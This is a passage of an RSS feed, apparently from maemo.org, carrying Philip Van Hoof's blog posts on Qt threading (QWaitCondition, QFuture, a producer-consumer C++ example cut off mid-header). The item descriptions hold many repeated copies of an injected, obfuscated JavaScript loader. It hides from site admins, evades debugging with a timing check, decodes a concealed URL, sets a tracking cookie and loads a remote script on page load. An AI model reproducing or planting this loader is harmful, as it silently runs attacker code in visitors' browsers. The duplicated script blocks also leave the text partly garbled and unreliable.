key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1e7845dc7d5c658845d11e793fe39de7ff2eca6eca6&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1e7845dc7d5c658845d11e793fe39de7ff2eca6eca6/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1e7845dc7d5c658845d11e793fe39de7ff2eca6eca6&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1e7845dc7d5c658845d11e793fe39de7ff2eca6eca6/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Fri, 18 Aug 2017 20:06:12 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1e7845dc7d5c658845d11e793fe39de7ff2eca6eca6</guid>
        </item>
        <item>
            <title>Because …</title>
            <link>https://pvanhoof.be/blog/index.php/2017/07/12/because</link>
            <description><![CDATA[
<p>A QEventLoop is a heavy dependency. Not every worker thread wants to require all its consumers to have one. This renders <a href="http://doc.qt.io/qt-4.8/qt.html#ConnectionType-enum">QueuedConnection</a> not always suitable. I get that signals and slots are a useful mechanism, also for thread-communications. But what if your worker thread has no QEventLoop yet wants to wait for a result of what another worker-thread produces?</p>
<p>QWaitCondition is often what you want. Don&#8217;t be afraid to use it. Also, don&#8217;t be afraid to use QFuture and QFutureWatcher.</p>
<p>Just be aware that the guys at Qt have not yet decided what the final API for the asynchronous world should be. The KIO guys discussed making a QJob and/or a QAbstractJob. Because QFuture is result (of T) based (and waits and blocks on it, using a condition). And a QJob (derived from what currently KJob is), isn&#8217;t or wouldn&#8217;t or shouldn&#8217;t block (such a QJob should allow for interactive continuation, for example &#8212; &#8220;overwrite this file? Y/N&#8221;). Meanwhile you want a clean API to fetch the result of any asynchronous operation. Blocked waiting for it, or not. It&#8217;s an uneasy choice for an API designer. Don&#8217;t all of us want APIs that can withstand the test of time? We do, yes.</p>
<p>Yeah. The world of programming is, at some level, complicated. But <a href="https://bugreports.qt.io/browse/QTBUG-61928">I&#8217;m also sure something good will come out of it</a>. Meanwhile, form your asynchronous APIs on the principles of QFuture and or KJob: return something that can be waited for.</p>
<p>Sometimes a prediction of how it will be like is worth more than a promise. I honestly can&#8217;t predict what Thiago will approve, commit or endorse. And I shouldn&#8217;t.</p>
<p>&nbsp;<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script></p>
<span class="net_nemein_favourites">0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=fav&net_nemein_favourites_execute_for=1f0ab821d02433cab8211f098258770828504ca04ca&net_nemein_favourites_url=https://maemo.org/news/favorites//json/fav/midgard_article/1f0ab821d02433cab8211f098258770828504ca04ca/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-favorite.png" style="border: none;" alt="Add to favourites" title="Add to favourites" /></a>0 <a href="http://maemo.org/news/?net_nemein_favourites_execute=bury&net_nemein_favourites_execute_for=1f0ab821d02433cab8211f098258770828504ca04ca&net_nemein_favourites_url=https://maemo.org/news/favorites//json/bury/midgard_article/1f0ab821d02433cab8211f098258770828504ca04ca/" class="net_nemein_favourites_create"><img src="http://static.maemo.org:81/net.nemein.favourites/not-buried.png" style="border: none;" alt="Bury" title="Bury" /></a></span>]]></description>
            <author>Philip Van Hoof &lt;pvanhoof@gnome.org&gt;</author>
            <category>feed:43af5b2374081abdd0dbc4ba26a0b54c</category>
            <pubDate>Wed, 12 Jul 2017 21:41:57 +0000</pubDate>
            <guid>http://maemo.org/midcom-permalink-1f0ab821d02433cab8211f098258770828504ca04ca</guid>
        </item>
        <item>
            <title>Colleague tells me I write blogs in chats while I explain how to write a producer-consumer</title>
            <link>https://pvanhoof.be/blog/index.php/2017/07/06/colleague-tells-me-i-write-blogs-in-chats-while-i-explain-how-to-write-a-producer-consumer</link>
            <description><![CDATA[
<p>I&#8217;m at home now. I don&#8217;t do non-public unpaid work. So let&#8217;s blog the example I&#8217;m making for him.</p>
<p>workplace.h</p>
<pre style="color: #000000; background: #ffffff;"><span style="color: #004a43;">#</span><span style="color: #004a43;">ifndef</span><span style="color: #004a43;"> Workplace_H</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">define</span><span style="color: #004a43;"> Workplace_H</span>

<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QObject</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QFuture</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QWaitCondition</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QMutex</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QStack</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QList</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QThread</span><span style="color: #800000;">&gt;</span>
<span style="color: #004a43;">#</span><span style="color: #004a43;">include </span><span style="color: #800000;">&lt;</span><span style="color: #40015a;">QFutureWatcher</span><span style="color: #800000;">&gt;</span>

<span style="color: #800000; font-weight: bold;">class</span> Workplace<span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">typedef</span> <span style="color: #800000; font-weight: bold;">enum</span> <span style="color: #800080;">{</span>
    WT_INSERTS<span style="color: #808030;">,</span>
    WT_QUERY
<span style="color: #800080;">}</span> WorkplaceWorkType<span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">typedef</span> <span style="color: #800000; font-weight: bold;">struct</span> <span style="color: #800080;">{</span>
    WorkplaceWorkType type<span style="color: #800080;">;</span>
    <span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">int</span><span style="color: #800080;">&gt;</span> values<span style="color: #800080;">;</span>
    <span style="color: #603000;">QString</span> query<span style="color: #800080;">;</span>
    QFutureInterface<span style="color: #800080;">&lt;</span><span style="color: #800000; font-weight: bold;">bool</span><span style="color: #800080;">&gt;</span> insertIface<span style="color: #800080;">;</span>
    QFutureInterface<span style="color: #800080;">&lt;</span><span style="color: #603000;">QList</span><span style="color: #800080;">&lt;</span><span style="color: #603000;">QStringList</span><span style="color: #800080;">&gt;</span> <span style="color: #800080;">&gt;</span> queryIface<span style="color: #800080;">;</span>
<span style="color: #800080;">}</span> WorkplaceWork<span style="color: #800080;">;</span>

<span style="color: #800000; font-weight: bold;">class</span> WorkplaceWorker<span style="color: #800080;">:</span> <span style="color: #800000; font-weight: bold;">public</span> <span style="color: #603000;">QThread</span> <span style="color: #800080;">{</span>
    <span style="color: #004a43;">Q_OBJECT</span>
<span style="color: #800000; font-weight: bold;">public</span><span style="color: #e34adc;">:</span>
    WorkplaceWorker<span style="color: #808030;">(</span><span style="color: #603000;">QObject</span> <span style="color: #808030;">*</span>parent <span style="color: #808030;">=</span> <span style="color: #7d0045;">NULL</span><span style="color: #808030;">)</span>
